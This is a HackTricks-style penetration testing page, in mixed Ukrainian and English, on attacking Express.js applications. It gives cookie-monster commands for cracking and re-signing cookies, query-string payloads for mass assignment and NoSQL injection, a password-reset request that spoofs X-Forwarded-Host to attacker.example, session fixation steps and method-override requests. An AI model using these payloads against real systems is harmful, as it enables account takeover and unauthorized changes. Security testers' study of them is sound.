NodeJS Express
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Quick Fingerprinting
Корисні індикатори Express під час recon:
X-Powered-By: Expressor stack traces mentioningexpress,body-parser,qs,cookie-parser,express-session, orfinalhandler- Файли cookie з префіксом
s:(signed cookie) абоj:(JSON cookie) - Сесійні cookie, такі як
connect.sid - Сховані поля форми або параметри запиту, такі як
_method=PUT/_method=DELETE - Сторінки помилок leaking
Cannot GET /path,Cannot POST /path,Unexpected tokeninbody-parser, orURIErrorпід час парсингу запиту
Коли ви підтверджуєте Express, зосередьтеся на middleware chain, бо більшість цікавих багів походить від парсерів, proxy trust, обробки сесій та method-tunneling, а не від ядра фреймворку.
Підпис cookie
The tool https://github.com/DigitalInterruption/cookie-monster is a utility for automating the testing and re-signing of Express.js cookie secrets.
Express commonly exposes two useful cookie formats:
s:<value>.<sig>signed cookies handled bycookie-parserorexpress-sessionj:<json>JSON cookies that are automatically parsed bycookie-parser
If cookie-parser receives a signed cookie and the signature is invalid, the value becomes false instead of the tampered value. If the application accepts an array of secrets, old secrets may still verify existing cookies after rotation.
Один cookie з конкретною назвою
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
Власний wordlist
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
Тестування кількох cookies у batch mode
cookie-monster -b -f cookies.json
Тестування кількох cookies у пакетному режимі з власним словником
cookie-monster -b -f cookies.json -w custom.lst
Закодувати та підписати новий cookie
Якщо ви знаєте секрет, ви можете підписати cookie.
cookie-monster -e -f new_cookie.json -k secret
Зловживання парсерами Query String та URL-encoded
Express цілі часто стають цікавими, коли вони розбирають ключі, контрольовані атакуючим, у вкладені об’єкти.
req.queryможе бути налаштований з різними парсерами, включаючиqsexpress.urlencoded({ extended: true })використовує парсинг у стиліqsдляapplication/x-www-form-urlencoded- Вкладений парсинг відкриває object injection, mass assignment, NoSQL injection та prototype pollution ланцюги, якщо розпарсений об’єкт зливається зі станом застосунку
Практичні payloads, які варто спробувати:
# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'
# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'
# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update' -H 'Content-Type: application/x-www-form-urlencoded' --data 'profile[role]=admin&filters[$ne]=x'
Якщо додаток відображає або зберігає отриманий об’єкт, перейдіть до окремих сторінок з деталями експлуатації:
Express Prototype Pollution Gadgets
Додаткові тести, які варто відправляти саме проти Express:
- Глибоке вкладення, щоб перевірити обмеження парсера, таймаути або відмінності у відповідях 400/413
- Повторювані ключі, щоб з’ясувати, чи додаток зберігає перше значення, останнє, чи масив
- Синтаксис з дужками, наприклад
a[b][c]=1, крапковий синтаксис, наприкладa.b=1, та корисні навантаження__proto__/constructor[prototype]
trust proxy Зловживання
Якщо додаток використовує app.set("trust proxy", true) або довіряє занадто багатьом хопам, Express буде виводити значення, важливі для безпеки, із заголовків пересилання. Якщо зворотний проксі не перезаписує їх, клієнт може підробити їх безпосередньо.
Це впливає на:
req.hostnameviaX-Forwarded-Hostreq.protocolviaX-Forwarded-Protoreq.ip/req.ipsviaX-Forwarded-For
Це корисно для:
- Отруєння скидання пароля та отруєння абсолютних URL
- Обхід IP-орієнтованих списків дозволів (allowlists), лімітів швидкості (rate limits) або журналів аудиту
- Впливу на обробку
securecookie та логіку тільки HTTPS у додатках, які орієнтуються наreq.protocol - Отруєння редиректів або кешованих відповідей, коли додаток формує абсолютні посилання, підставляючи forwarded host/proto заголовки
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json
{"email":"victim@target.example"}
Перевірте, чи тепер згенеровані посилання, місця перенаправлення, логи або рішення контролю доступу використовують значення, надані зловмисником.
Related pages:
Reset/Forgotten Password Bypass
Cache Poisoning and Cache Deception
express-session Примітки щодо тестування
Типові розгортання Express використовують express-session, який підписує cookie-ідентифікатор сесії, але зберігає реальний стан на сервері.
Корисні перевірки:
- Session fixation: автентифікуйтеся з pre-login cookie і перевірте, чи залишається SID тим самим після входу
- Weak secret rotation: деякі розгортання перевіряють cookie за масивом старих секретів, тому раніше дійсні підписи можуть і далі працювати
saveUninitialized: true: додаток видає pre-auth sessions анонімним користувачам, що полегшує fixation і збільшує поверхню сесій для brute-force або cache-аналізуMemoryStoreу production зазвичай вказує на слабку операційну зрілість і нестабільну поведінку сесій під час рестартів
Практичний workflow для fixation:
- Отримайте анонімний session cookie з цілі.
- Надішліть цей cookie жертві або автентифікуйтеся з його допомогою самі.
- Перевірте, чи зв’язує вхід аутентифікований стан з існуючим SID.
- Якщо так — відтворіть той самий cookie в окремій сесії браузера.
Якщо додаток не викликає req.session.regenerate() після автентифікації, fixation часто все ще можлива.
Method Override Tunneling
Деякі Express-додатки використовують method-override для тунелювання HTTP-методів, які HTML-форми не можуть відправити нативно. Коли увімкнено, завжди перевіряйте, чи можна smuggle небезпечні методи через маршрут, який front-end, WAF або логіка CSRF вважали лише POST.
Типові перевірки:
POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded
confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
role=admin
Цікаві наслідки:
- Доступ до прихованих маршрутів
PUT/PATCH/DELETEчерез edge-контроль, який дозволяє лишеPOST - Обхід middleware, специфічного для маршруту, яке перевіряє лише
req.method - Виклик обробників, що змінюють стан, через CSRF, коли додаток перевіряє лише зовнішній метод запиту
За замовчуванням middleware зазвичай перевизначає лише POST, тому надавайте пріоритет POST запитам із override-значеннями в header, body та query-string.
Посилання
- https://expressjs.com/en/guide/behind-proxies.html
- https://portswigger.net/research/server-side-prototype-pollution
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


